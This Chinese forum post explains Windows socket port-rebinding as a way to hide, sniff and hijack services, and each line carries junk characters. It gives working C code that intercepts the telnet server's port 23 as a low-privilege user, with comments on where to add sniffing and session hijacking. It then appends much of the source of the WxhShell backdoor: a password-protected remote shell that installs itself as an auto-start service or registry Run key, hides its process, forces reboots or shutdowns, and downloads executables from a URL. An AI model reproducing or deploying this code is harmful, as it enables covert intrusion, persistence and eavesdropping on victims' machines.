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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e3G7K8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1fmSk$ y.9  
T %$2k>  
  saddr.sin_family = AF_INET; @^B S#  
$HP/c Ku  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5^bh.uF  
3KB| NS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RT1{+:l  
!>?4[|?n<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JvT %R`i  
N;e}dwh&  
  这意味着什么?意味着可以进行如下的攻击: "K/[[wX\b  
xq8}6Q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 X^u4%O['  
3}v0{c  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GP0[Y  
<.y;&a o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 # w i&n  
.dy#n`eP  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (K!M*d+  
2(@LRl>:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nYmf(DV  
9(i0" hS^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &Xj{:s#  
~5x4?2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W9:fKP  
$K5ni{M;  
  #include @2)t#~Wc4h  
  #include i7Y s_8A"9  
  #include BXagSenc  
  #include    gK&5HTo  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %g2/ o^c*  
  int main() J r=REa0  
  { oHv{Y  
  WORD wVersionRequested; @2-Hj~  
  DWORD ret; $`-SVC  
  WSADATA wsaData; 1jR=h7^=  
  BOOL val; r@N39O*Wq  
  SOCKADDR_IN saddr; LG"BfYy6  
  SOCKADDR_IN scaddr; ,AGM?&A  
  int err; &ryl$!!3H  
  SOCKET s; .aVHd<M  
  SOCKET sc; 6{Krw \0  
  int caddsize; Tw`F?i~  
  HANDLE mt; H8(0. IR  
  DWORD tid;   we6+2  
  wVersionRequested = MAKEWORD( 2, 2 ); 9;;]q?*  
  err = WSAStartup( wVersionRequested, &wsaData ); ,(1vEE[9-  
  if ( err != 0 ) { (,d4"C  
  printf("error!WSAStartup failed!\n"); @]?? +f}#  
  return -1; :mCw.Jz<h  
  } LZ=wz.'u  
  saddr.sin_family = AF_INET; uK+9gTv  
   iX0]g45o  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }z9I`6[  
7UeE(=Hr5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,n /SDEL  
  saddr.sin_port = htons(23); )&b}^1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LS R_x$G+t  
  { /h.:br?M#P  
  printf("error!socket failed!\n"); ~Hp#6+  
  return -1; 48*Oh2BA  
  } Gd]5xl HRU  
  val = TRUE; #U\&i`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Huc3|~9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _RA{SO  
  { yBXkN&1=%;  
  printf("error!setsockopt failed!\n"); =|j*VF2y"  
  return -1; Zi2Eu4p l{  
  } =H.<"7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nm{'HH-4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Mo:!jS~a(Z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 E-BOIy,  
0XBBA0t q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) \UkNE5  
  { Pl>nd)i`  
  ret=GetLastError(); 6Y92&  
  printf("error!bind failed!\n"); |ec(z  
  return -1; k8Su/U  
  } JO<gN= [  
  listen(s,2); sp=7Kh?|>  
  while(1) F1{?]>G  
  { Mdy0!{d  
  caddsize = sizeof(scaddr); Kd AR)EU>  
  //接受连接请求 pUCEYR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^^t]vojX  
  if(sc!=INVALID_SOCKET) X$j|/))  
  { MIk #60Ab  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eE#81]'6a  
  if(mt==NULL) cAsSN.HFS  
  {  gnKU\>2k  
  printf("Thread Creat Failed!\n"); rS,* s'G  
  break; 5 ~ *'>y  
  } wHo#%Y,Nmi  
  } On2Vf*G@|  
  CloseHandle(mt); ~8Dd<4?F]  
  } )|59FOWg  
  closesocket(s); 5W:Gl?$S}  
  WSACleanup(); sTYuwna~   
  return 0; b}EYNCw_7S  
  }   (|ct`KU0#  
  DWORD WINAPI ClientThread(LPVOID lpParam) Kc-A-P &Ry  
  { o%N0K   
  SOCKET ss = (SOCKET)lpParam; I49=ozPP  
  SOCKET sc; R"8})a gw  
  unsigned char buf[4096]; ^,ZvKA"}+/  
  SOCKADDR_IN saddr; YDZ1@N}^B  
  long num; L&3Ar'  
  DWORD val; !)51v {  
  DWORD ret; O)=73e\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |~=?vw< W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   6f5sIg  
  saddr.sin_family = AF_INET; =5s~$C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); LNyL>VHkK  
  saddr.sin_port = htons(23); Js^r]=\F'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fO^EMy\  
  { t<EX#_i,  
  printf("error!socket failed!\n"); /FNj|7s  
  return -1; C7fi1~  
  } BHRrXC\  
  val = 100; 8YJqM,t5)  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }~Kyw7?  
  { wzLiVe-  
  ret = GetLastError(); 4<eJ  
  return -1; zYgK$u^H  
  } Is*0?9qU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;03*qOYc  
  { ]mJAKycE%  
  ret = GetLastError(); 8en#PH }  
  return -1; 6wvhvMkS  
  } ;>QK}#'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) WkU) I2oH  
  { 40l#'< y;  
  printf("error!socket connect failed!\n");  S9ak '  
  closesocket(sc); 9{]r+z:  
  closesocket(ss); ay7+H7^|hZ  
  return -1; "#eNFCo7k  
  } W0uM?J\O  
  while(1) H?/cG_^y0  
  { 7]HIE]#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _ /2 8Cw  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 K&"Pm9  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 );/5#b@<Y  
  num = recv(ss,buf,4096,0); R^Eu}?<f  
  if(num>0) +D{*L0$D"  
  send(sc,buf,num,0); xz Gsfd  
  else if(num==0) "=Fn.r4I  
  break; U~zN*2-  
  num = recv(sc,buf,4096,0); ekk&TTp#  
  if(num>0) MkV*+LXC  
  send(ss,buf,num,0); ZC\.};.  
  else if(num==0)  "ppb%=  
  break; 5+Zx-oWq_  
  } EuimZW\V  
  closesocket(ss); &0<R:K?>N  
  closesocket(sc); 7yCx !P;  
  return 0 ; 9|kEq>d  
  } %N_S/V0`  
Ll E_{||h  
J/P@m_Yx  
========================================================== +EB,7<5<  
1-Wnc'(OK  
下边附上一个代码,,WXhSHELL DGuUI}|)  
EA@$^e[  
========================================================== GzZ|T7fm  
(Ss77~W7  
#include "stdafx.h" `))J8j"  
KlX |PQ  
#include <stdio.h> u>i+R"hi"  
#include <string.h> H|Fqc=qp  
#include <windows.h> [@l v]+@  
#include <winsock2.h> "j@IRuH  
#include <winsvc.h> HEfA c  
#include <urlmon.h> R;-FZ@u/  
IM&7h! l"|  
#pragma comment (lib, "Ws2_32.lib") Go+,jT-  
#pragma comment (lib, "urlmon.lib") $v}8lBCr3  
OXCml(>{  
#define MAX_USER   100 // 最大客户端连接数 ^[?+=1 k  
#define BUF_SOCK   200 // sock buffer 2.L6]^N p(  
#define KEY_BUFF   255 // 输入 buffer dgqJ=+z 0y  
^9V8M9  
#define REBOOT     0   // 重启 *p5T  
#define SHUTDOWN   1   // 关机 X|n[9h:%  
VFaK>gQ  
#define DEF_PORT   5000 // 监听端口 >zx50e)  
u.K'"-xt4K  
#define REG_LEN     16   // 注册表键长度 h*X%:UbW  
#define SVC_LEN     80   // NT服务名长度 . eag84_  
=`.5b:e  
// 从dll定义API `q{'_\gVt(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rxK[CDM,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d~f0]O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <IkD=X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rpP+20v  
;NVTn<Uj  
// wxhshell配置信息 %<*pM@  
struct WSCFG { E$yf2Q~k  
  int ws_port;         // 监听端口 VS@W.0/  
  char ws_passstr[REG_LEN]; // 口令 xA1pDrfC/  
  int ws_autoins;       // 安装标记, 1=yes 0=no q}24U3ow  
  char ws_regname[REG_LEN]; // 注册表键名 -bb7Y  
  char ws_svcname[REG_LEN]; // 服务名 @_:?N(%(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8_,wOkk_B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m_ONsZHy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jE5 9h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Fu$Gl$qV?%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C]cT*B^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a ZCZ/  
27i<6PAC[A  
}; M #Ru I%  
 ~9jP++&  
// default Wxhshell configuration &IPK5o,  
struct WSCFG wscfg={DEF_PORT, 73Zs/  
    "xuhuanlingzhe", Nm :lC%>X  
    1, 2o3k=hKS  
    "Wxhshell", ~ilBw:L-3  
    "Wxhshell", .?)oiPW#  
            "WxhShell Service", <+JFal  
    "Wrsky Windows CmdShell Service", 0J,d9a [1  
    "Please Input Your Password: ",  G/;aZ  
  1, zgOwSg8  
  "http://www.wrsky.com/wxhshell.exe", b0CaoSWo  
  "Wxhshell.exe" u^.k"46hn  
    }; :qKY@-t7H  
RpXGgw  
// 消息定义模块 &XTd[_VW!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FrM~6A_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cx%9UK*c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -r0\  
char *msg_ws_ext="\n\rExit."; 'Bn_'w~j{  
char *msg_ws_end="\n\rQuit."; :hdh$}y  
char *msg_ws_boot="\n\rReboot..."; %lW:8 ckL  
char *msg_ws_poff="\n\rShutdown..."; l{x#*~g a  
char *msg_ws_down="\n\rSave to "; BQmafpp`  
.Eyk?"^  
char *msg_ws_err="\n\rErr!"; @uD{`@[  
char *msg_ws_ok="\n\rOK!"; $>37PVVW  
!/9Sb1_~  
char ExeFile[MAX_PATH]; !{aA*E{  
int nUser = 0; 3$f5][+U  
HANDLE handles[MAX_USER]; yFtf~8s3  
int OsIsNt; T:5%sN;#O  
siZ_JJW  
SERVICE_STATUS       serviceStatus; L. ?dI82c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gx R|S  
W 9MZ  
// 函数声明 m&c(N  
int Install(void); | (9FV^_  
int Uninstall(void); 6HQwL\r79  
int DownloadFile(char *sURL, SOCKET wsh); 9rc n*sm  
int Boot(int flag); nezbmpL4  
void HideProc(void); ;XuE Mq,Di  
int GetOsVer(void); 6u3(G j@  
int Wxhshell(SOCKET wsl); w:(7fu=  
void TalkWithClient(void *cs); J~`%Nj5>  
int CmdShell(SOCKET sock); < R%6L&  
int StartFromService(void); }r<^]Q*&p  
int StartWxhshell(LPSTR lpCmdLine); [m&ZAq  
'0rwNEg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); QP0X8%+p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @x ]^blq  
|^!@  
// 数据结构和表定义 xM,(|p(  
SERVICE_TABLE_ENTRY DispatchTable[] = RL8 wSK  
{ /hR]aw  
{wscfg.ws_svcname, NTServiceMain}, ?MB nnyo6  
{NULL, NULL} L#b Q`t  
}; 2 ZXF_ o  
$o H,:x?}  
// 自我安装 )C6 7qY  
int Install(void) ^<+heX  
{ =LA@E&,j  
  char svExeFile[MAX_PATH]; )S?}huX  
  HKEY key; EOC"a}Cq-  
  strcpy(svExeFile,ExeFile); LRs; >O  
F'*4:WD7  
// 如果是win9x系统,修改注册表设为自启动 brot&S2P><  
if(!OsIsNt) { M lwQ_5O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IBsn>*ja<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mr.DP~O:9p  
  RegCloseKey(key); A[a+,TN {  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . %7A7a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3/05ee;|  
  RegCloseKey(key); @kymL8"2w  
  return 0; \ } f*   
    } D3ad2vH  
  } ^Yz05\  
} Z Z7U^#RT  
else { d5hE!=  
s ~G{-)*  
// 如果是NT以上系统,安装为系统服务 OK(d&   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4y.[tk5  
if (schSCManager!=0) "<#:\6aym  
{ Df^S77&c!  
  SC_HANDLE schService = CreateService P#PQ4uK \  
  ( K(S/D(\ FL  
  schSCManager, n Lb 9$&  
  wscfg.ws_svcname, >j3N-;o@?  
  wscfg.ws_svcdisp, Bs}>#I  
  SERVICE_ALL_ACCESS, Q8i6kf!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {c; 3$  
  SERVICE_AUTO_START, dW68lVWq_  
  SERVICE_ERROR_NORMAL, ]+P &Y:   
  svExeFile, T(F8z5s5  
  NULL, =ndKG5  
  NULL, ak [)+_k_  
  NULL, @( l`_Wx  
  NULL, ?f&I"\y  
  NULL :~Y$\Ww(~  
  ); EM}z-@A>  
  if (schService!=0) 5{Wl(jwb  
  { RkzBn  
  CloseServiceHandle(schService); T:$_1I $  
  CloseServiceHandle(schSCManager); bk]|C!7$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,vPF=wq  
  strcat(svExeFile,wscfg.ws_svcname); w3D_ c~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K-3 _4As  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HxaUVg0  
  RegCloseKey(key); d .A0(*k,  
  return 0; M-Bw9`#Jw  
    } ~JpUO~i/  
  } #C^m>o~R  
  CloseServiceHandle(schSCManager); Q #gHD  
} (i8 t^  
}  %3j5Q   
)VC) }  
return 1; PQ>JoRs  
} T^_9R;  
D2bUSRrb  
// 自我卸载 L_,U*Jyo  
int Uninstall(void) jLSZ#H  
{ 0J~4  
  HKEY key; ~@JC1+  
& j43DYw4  
if(!OsIsNt) { 7}k8-:a%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C#>C59  
  RegDeleteValue(key,wscfg.ws_regname); tUQ)q  
  RegCloseKey(key); wG O)!u 4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c3##:"wr  
  RegDeleteValue(key,wscfg.ws_regname); S J5kA`  
  RegCloseKey(key);  s25012  
  return 0; SCij5il%  
  } 2B7&Ll\>  
} )Yml'?V"  
} ?}[keSEh>  
else { VM[8w`  
@d\F; o<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "|if<hx+  
if (schSCManager!=0) 3nO|A: t  
{ n>WS@b/o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~ 4a aJ0  
  if (schService!=0) Lg1Usy%  
  { a0R]hENC  
  if(DeleteService(schService)!=0) { 1*fA>v  
  CloseServiceHandle(schService); RulIzv  
  CloseServiceHandle(schSCManager); (yfTkBy  
  return 0; q<VhP2R  
  } N!AFsWV  
  CloseServiceHandle(schService); ;Peyo1  
  } '&d4xc  
  CloseServiceHandle(schSCManager); 2xX7dl(cC  
} J5k%  
} /03>|Juo  
m| Z)h{&  
return 1; (]:G"W8f  
} F}Au'D&n_  
@lwqk J  
// 从指定url下载文件 &+v&Dd&  
int DownloadFile(char *sURL, SOCKET wsh) +-hmITJ v  
{ ?D_zAh?pW  
  HRESULT hr; DjIs"5Iei  
char seps[]= "/"; x>^S..K}L%  
char *token; Gsb]e  
char *file; {8' 5  
char myURL[MAX_PATH]; ' vwBG=9C  
char myFILE[MAX_PATH]; p.G7Cs  
x?3p3[y  
strcpy(myURL,sURL); DxlX-  
  token=strtok(myURL,seps); {)mlXo(On  
  while(token!=NULL) ,O}zgf*H;  
  { b7-a0zaN  
    file=token; )l=j,4nn  
  token=strtok(NULL,seps); -8Ii QRS  
  } v,jU9D \  
J ?&9ofj&  
GetCurrentDirectory(MAX_PATH,myFILE); 4P8:aZM  
strcat(myFILE, "\\"); y ;;@T X  
strcat(myFILE, file); :9<5GF(  
  send(wsh,myFILE,strlen(myFILE),0); gnQd#`  
send(wsh,"...",3,0); STI8[e7{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4T:ZEvdzf  
  if(hr==S_OK) 4Xz|HU?  
return 0; _#+i;$cO-X  
else MYjCxy-;A  
return 1; &b_duWs  
n3(HA  
} fc91D]c  
.MKxHM7  
// 系统电源模块 Fq8Z:;C8  
int Boot(int flag) [(C lvGx  
{ KLX>QR@  
  HANDLE hToken; }5K\ l  
  TOKEN_PRIVILEGES tkp; iY="M_kQ_  
e*tOXXY1  
  if(OsIsNt) { r <U }lK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %\A~w3E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?1YK-T@  
    tkp.PrivilegeCount = 1; Q-\: u~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; COap*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'G&w[8mqY  
if(flag==REBOOT) { K&/W cuP &  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b{A#P?  
  return 0; 8W{R&Z7aL  
} &:rf80`z.  
else { EB \\ F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F J)la9  
  return 0; avQwbAh[  
} n}"MF>zDK  
  } +p2)uXqW  
  else { .L}ar7  
if(flag==REBOOT) { WaYT\CG7y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zQ6otDZx  
  return 0; k]Yd4CC2  
} E11"uWk`  
else { CGQ`i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NOvN8.K%  
  return 0; k3&Wv  
} \n}cx~j  
} [,VD^\  
bS*9eX=K  
return 1; >6c{CYuT  
} cG.4%Va@s_  
sPut@4[S  
// win9x进程隐藏模块 SO|$X  
void HideProc(void) p?5zwdX+`  
{ _s^sZ{'2_  
"bJWyUb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &Mol8=V)  
  if ( hKernel != NULL ) q:fkF^>  
  { 8q_nOGd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `On%1%k8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :V&#Oo  
    FreeLibrary(hKernel); J=  T!  
  } ikUG`F%W  
8< R#}  
return; W_%Dg]l   
} F8q|$[nH  
^5OR%N)  
// 获取操作系统版本 U2;_{n*g%  
int GetOsVer(void) WmeV[iI  
{ k/>k&^?  
  OSVERSIONINFO winfo; Z<`QDBN"4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v81<K*w`P  
  GetVersionEx(&winfo); $%ps:ui~X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y\S}U{*Z'  
  return 1; YH@^6Be9  
  else 3>ytpXUEGx  
  return 0; Dc U$sf*  
} <d8 Yk>R  
i6aM}p<  
// 客户端句柄模块 rOX\rI%0+  
int Wxhshell(SOCKET wsl) !Eu}ro.}  
{ MGK%F#PM  
  SOCKET wsh; T)MKhK9\Ab  
  struct sockaddr_in client; k*J0K=U|  
  DWORD myID; H+` Zp  
jx J5F3d  
  while(nUser<MAX_USER) {;q zz9 |  
{ "d% o%  
  int nSize=sizeof(client); Nzf tc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); idEhxvAo  
  if(wsh==INVALID_SOCKET) return 1; /; w(1)B  
13kl\ <6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b-,4< H8m  
if(handles[nUser]==0) vkp_v1F%+  
  closesocket(wsh); :wtK'ld  
else rytves%;C  
  nUser++; ';Y0qitGB  
  } Ko: <@h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Wgi[VB  
!ap}+_IA7^  
  return 0; ;ry~x:7L7  
} Pd)mLs Jg  
3VaL%+T$,  
// 关闭 socket 3%P<F>6 J  
void CloseIt(SOCKET wsh) {{qu:(_g  
{ c~SR@ZU  
closesocket(wsh); KSz;D+L \  
nUser--; K|]/BjB/  
ExitThread(0); s+DOr$\  
} n&1q*  
NYw>Z>TD8c  
// 客户端请求句柄 g=n{G@*N  
void TalkWithClient(void *cs) ^M0  
{ ]jjHIFX  
f3^Anaa]l  
  SOCKET wsh=(SOCKET)cs; *PM#ngLX}r  
  char pwd[SVC_LEN]; }]<0!q &xB  
  char cmd[KEY_BUFF]; DHQS7%)f`  
char chr[1]; ]Q$Sei5  
int i,j; }p5_JXBV  
Kl_(4kQE_  
  while (nUser < MAX_USER) { 3$G &~A{  
g8k S}7/  
if(wscfg.ws_passstr) { f\xmv|8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wDR/Vr"f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5If.[j{  
  //ZeroMemory(pwd,KEY_BUFF); 4 K5  
      i=0; u:.w/k%+  
  while(i<SVC_LEN) { 5/8=Do](  
Y \Gx|  
  // 设置超时 R"W5R-  
  fd_set FdRead; |yS  %  
  struct timeval TimeOut; 2DU Y4Ti  
  FD_ZERO(&FdRead); HA$X g j  
  FD_SET(wsh,&FdRead); %:t! u&:q  
  TimeOut.tv_sec=8; F_G .$a Cc  
  TimeOut.tv_usec=0; fJOw E g|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b+1!qNuCW#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1%ENgb:8  
L+N\B@ 0-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H-\Ym}BGu  
  pwd=chr[0]; !#d5hjoX  
  if(chr[0]==0xd || chr[0]==0xa) { &+ "<ia(  
  pwd=0; `R;i1/  
  break; L I*=T   
  } {8>g?4Q#  
  i++; _iu~vU)r  
    } F42<9)I  
CFC15/yU  
  // 如果是非法用户,关闭 socket 1*" 7q9x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,?P<=M  
} \HXq~Y  
C#-HWoSi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d~ +(g!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); djH&)&q!  
}y Vx"e)  
while(1) { :_}xN!9LA  
kDol1v`  
  ZeroMemory(cmd,KEY_BUFF); E;}&2 a  
9U8x&Z]P  
      // 自动支持客户端 telnet标准   ,Qx]_gZ`  
  j=0; `Fie'[F5,)  
  while(j<KEY_BUFF) { `JO>g=,4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DQ(0:r  
  cmd[j]=chr[0]; 7Xx3s@  
  if(chr[0]==0xa || chr[0]==0xd) { n]df)a  
  cmd[j]=0; yts@cd`$  
  break; R2v9gz;W  
  } !( >U3N  
  j++; LaO8)lqR  
    } a*-9n-U@[k  
(<YBvpt4>  
  // 下载文件 EsGf+-}|!0  
  if(strstr(cmd,"http://")) { 9}%$j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ( +Sv3h  
  if(DownloadFile(cmd,wsh)) KCO.8=y3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D(l,Z  
  else 6@TU9AZS `  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A|GtF3:G  
  } 8t Q;N'  
  else { XwUa|"X6  
?r KbL^2  
    switch(cmd[0]) { 10fxK  
  d7Vp^^}(  
  // 帮助 R\|,GZ!`+  
  case '?': { 1~t.2eUG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]XU4nNi  
    break; HdN5zl,q  
  } VcGl8~#9  
  // 安装 >ei~:z]R  
  case 'i': { >MJ#|vO  
    if(Install()) G&xtL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y{/7z}d  
    else }[Z'Sg]s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gu3iaM$W  
    break; Mh*r)B~%[  
    } dzEi^* (8  
  // 卸载 K(i}?9WD  
  case 'r': {  tPQ|znB|  
    if(Uninstall()) r[4n2Mys  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~4khIz  
    else "h#R>3I1)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g:z<CSIq/  
    break; D#UuIZ  
    } ''YqxJ fb  
  // 显示 wxhshell 所在路径 I<O$);DV'  
  case 'p': { N]w_9p~=1  
    char svExeFile[MAX_PATH]; u [._RA  
    strcpy(svExeFile,"\n\r"); &nP0T-T5y  
      strcat(svExeFile,ExeFile); g E _+r  
        send(wsh,svExeFile,strlen(svExeFile),0); Vx(*OQ  
    break; /1MmOB  
    } ka~_iUU4  
  // 重启 0K[]UU=P=  
  case 'b': { BbI%tmA7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b%0p<*:a/  
    if(Boot(REBOOT)) 2uOYuM[7gH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (oi:lC@h*  
    else { h{gFqkDoTI  
    closesocket(wsh); `wXK&R<`  
    ExitThread(0); ]:OrGD"  
    } B~w$j/sWU  
    break; ,U3  
    } N$6e KJ]  
  // 关机 Yy88 5  
  case 'd': { ;.V/ngaj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }:m/@LKB  
